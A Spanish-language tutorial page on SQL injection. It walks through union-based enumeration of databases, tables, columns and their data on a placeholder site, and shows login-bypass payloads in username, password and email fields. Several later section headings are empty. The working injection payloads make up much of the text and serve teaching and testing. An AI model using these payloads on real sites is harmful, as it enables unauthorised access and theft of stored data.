SQLI - Inyecciones SQL

web hacking

el ataque de SQLi consiste en inyectar instrucciones de SQL maliciosas a una base de datos para conseguir información del sitio web, implica controlar la base de datos para robar la información confidencial que se encuentra en las mismas

SQL, que significa Structured Query Language, es un lenguaje de programación estandarizado utilizado para gestionar y manipular bases de datos relacionales. Permite realizar tareas como crear, modificar, consultar y eliminar datos, así como definir la estructura de las bases de datos.

Inyección básica SQL

el payload básico que se usa en los ataques de inyección SQL y que ya habrás visto alguna vez es :

' or 1=1-- 

esta instrucción indica que 1 es igual a 1, lo que da como resultado True, entonces si utilizamos este payload en un login vulnerable por ejemplo, podríamos acceder a una cuenta objetivo, ya que la base de datos lo va a considerar como valido.

Vectores de ataque para una inyección SQL

  • URL

  • paneles de login/registro

  • barras de búsqueda

  • cualquier input/entrada de texto

  • cookies

  • etc.

antes de hacer una inyección SQL debemos enumerar toda la jerarquía de la base de datos

Tipos de inyección SQL

existen varios tipos de inyecciones SQL, exploraremos cuales son :

Inyección SQL común (In-band SQLi)

en este tipo de inyecciones se espera que se nos de automáticamente la respuesta de la inyección mediante querys normales

Inband SQL injection mediante URL

Usaremos "example.com" como ejemplo de web vulnerable :

encontramos despues del recon un directorio con el parámetro "?user=", seguido de un ID, por lo que vamos a testearlo para ver si es vulnerable :

https://example.com/users?user=1 # URL original
https://example.com/users?user=1' # aplicamos una comilla, si nos da un error es una señal clara de vulnerabilidad 

ahora toca enumerar la base de datos :

haremos fuzzing para enumerar las columnas de la base de datos mediante la URL para que nos de información, esta cadena : "— " es un comentario que se debe utilizar para terminar la query y no dejar cosas colgadas que den errores, de igual manera se puede utilizar el "#", debemos asegurarnos de dejar un espacio despues de los dos guiones "— "

https://example.com/users?user=1' order by 1-- 
# o recordemos que tambien
https://example.com/users?user=1' order by 1#

estaremos enumerando números progresivamente hasta llegar a error (que traspasamos le numero real)

ahora es turno de enumerar el nombre de la base de datos que estamos consultando ahora mismo :

https://example.com/users?user=1' union select database()

cuando nos de el nombre de esa base de datos, enumeramos ahora todas las bases de datos existentes, es probable que solo nos muestre una en vez de todas por lo que podemos enumerarlas poco a poco mediante la instrucción "limit"

https://example.com/users?user=1' union select schema_name from information_schema.schemata limit 0,1-- 

# saltar al siguiente nombre y asi consecutivamente
https://example.com/users?user=1' union select schema_name from information_schema.schemata limit 1,1-- 

https://example.com/users?user=1' union select schema_name from information_schema.schemata limit 2,1-- 

si queremos enumerar todas las bases de datos en el output, la query cambia un poco , nos dará los nombres separados por comas :

https://example.com/users?user=1' union select group_concat(schema_name) from information_schema.schemata-- 

ahora que ya hemos enumerado las bases de datos el siguiente objetivo es enumerar las tablas, acorde a la jerarquía, enumeraremos las tablas de cada BD

https://example.com/users?user=1' union select group_concat(table_name) from information_schema.tables where table_schema='nombre_de_la_bd_aqui'-- 

seguimos a enumerar las columnas de cada tabla :

https://example.com/users?user=1' union select group_concat(column_name) from information_schema.columns where table_schema='Nombree_de_la_bd_aqui' and table_name='nombre_de_tabla_aqui'-- 

si todavía lo deseamos podemos usar la instrucción limit .

Ahora lo mas deseado por la mayoría, enumerar los datos que se encuentran en las columnas, esto debemos de hacerlo si la base de datos que vamos a listar es la que esta en uso actualmente :

https://example.com/users?user=1' union select group_concat(nombre_de_columna) from nombre_de_la_tabla-- 

si veremos los datos de otra BD, usamos este comando, solo indicamos el nombre de la base de datos deseada :

https://example.com/users?user=1' union select group_concat(nombre_de_columna) from nombre_de_la_bd.nombre_de_la_tabla-- 
  • enumerar datos de varias columnas :

nos mostrara todos los datos separados por ":"

https://example.com/users?user=1' union select group_concat(columna_aqui,0x3a,columna_2) from nombre_de_tabla-- 

el 0x3a son los ":" pero en hexadecimal para separar los datos y evitar conflictos en el output

y habremos recolectado toda la info necesaria.

Inband SQL injection mediante Panel de login (login bypass)

El proceso es casi el mismo que el anterior, pero vamos a complementarlo :

vamos con una inyección básica de login bypass, imaginemos que tenemos un panel de login donde queremos acceder a la cuenta de jose.

        
Username : jose
Pasword : 
        
        --click to login--

como no sabemos la password de jose, debemos intentar la inyección básica para ver si la web es vulnerable y saber si el login bypass es posible.

        
Username : jose' or 1=1-- 
Pasword : pon_aqui_algo_aleatorio_123
        
        --click to login--

si la web es vulnerable, deberíamos poder acceder ala cuenta de jose fácilmente.

podemos hacerlo igualmente en el apartado de password

Username : jose
Pasword : pon_aqui_algo_aleatorio_123' or 1=1-- 
        
        --click to login--

ejemplo con login mediante email :

mail : jose@jose.jose' or 1=1-- 
Pasword : pon_aqui_algo_aleatorio_123
        
        --click to login--
        
------------------- en password -----------------------------

mail : jose@jose.jose
Pasword : pon_aqui_algo_aleatorio_123' or 1=1-- 
        
        --click to login--

Blind SQLi (inyecciones a ciegas)

Out-Of-Band SQLi (inyección mediante canales externos)

Stacked Queries SQLi (inyección basada en pila)

Inyección SQL basada en errores (Error-Based SQLi) subtipo de In-Band SQLi

Inyección SQL basada en tiempo (Time-Based SQLi) subtipo de Blind SQLi

Inyección SQL basada en booleanos (Boolean-Based SQLi) subtipo de Blind SQLi

Inyección SQL basada en uniones (Union-Based SQLi) subtipo de In-Band SQLi

Bypasses de seguridad mediante la SQLi

Lista de payloads

Operadores lógicos SQL explicados para el uso en SQLi

Operador
Descripción
Ejemplo

AND

Devuelve TRUE si ambas condiciones son verdaderas

' OR 1=1 AND 1=1--

OR

Devuelve TRUE si al menos una condición es verdadera

' OR 1=1--

NOT

Niega la condición

' OR NOT 1=2--

=

Igualdad

user='admin'

!= o <>

Diferente de

user!='admin'

>

Mayor que

id > 3

<

Menor que

id < 10

>=

Mayor o igual

id >= 5

<=

Menor o igual

id <= 100

BETWEEN

Comprueba si un valor está entre dos valores

id BETWEEN 1 AND 10

IN

Comprueba si un valor está en una lista

user IN ('admin', 'root')

LIKE

Comparación con patrones (comodines % y _)

user LIKE 'adm%'

IS NULL

Verifica si un campo está vacío

email IS NULL

IS NOT NULL

Verifica si un campo no está vacío

email IS NOT NULL

Last updated